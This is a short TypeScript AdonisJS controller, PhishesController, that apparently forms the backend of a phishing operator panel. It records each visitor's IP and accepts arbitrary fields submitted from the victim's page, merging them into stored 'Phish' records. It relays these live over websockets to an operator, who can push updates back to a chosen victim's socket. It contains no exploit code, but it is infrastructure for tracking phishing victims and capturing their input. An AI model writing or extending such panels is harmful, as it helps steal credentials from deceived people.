PhishesController.ts 1.5 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849
  1. import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  2. import PaginationService from 'App/Services/PaginationService'
  3. import Phish from 'App/Models/Phish'
  4. import Ws from 'App/Services/Ws'
  5. export default class PhishesController {
  6. private paginationService = new PaginationService(Phish)
  7. public async index({ request }: HttpContextContract) {
  8. return await this.paginationService.paginate(request.all())
  9. }
  10. public async store({ request }: HttpContextContract) {
  11. const ip = request.ip()
  12. const id = request.all().id
  13. let phish: Phish | null = null
  14. if (id) {
  15. phish = await Phish.find(id)
  16. }
  17. if (!phish) {
  18. phish = new Phish()
  19. }
  20. phish.ip = ip
  21. phish.online = false
  22. await phish.save()
  23. Ws.hookIO.emit('new', phish)
  24. return phish
  25. }
  26. public async show({ params }: HttpContextContract) {
  27. return await Phish.findOrFail(params.id)
  28. }
  29. public async clientUpdate({ params, request }: HttpContextContract) {
  30. const phish = await Phish.findOrFail(params.id)
  31. phish.merge(request.all())
  32. await phish.save()
  33. Ws.hookIO.emit('update', phish)
  34. return phish
  35. }
  36. public async adminUpdate({ params, request }: HttpContextContract) {
  37. const phish = await Phish.findOrFail(params.id)
  38. phish.merge(request.all())
  39. await phish.save()
  40. Ws.phishIO.to(phish.socketId).emit('update', phish)
  41. return phish
  42. }
  43. }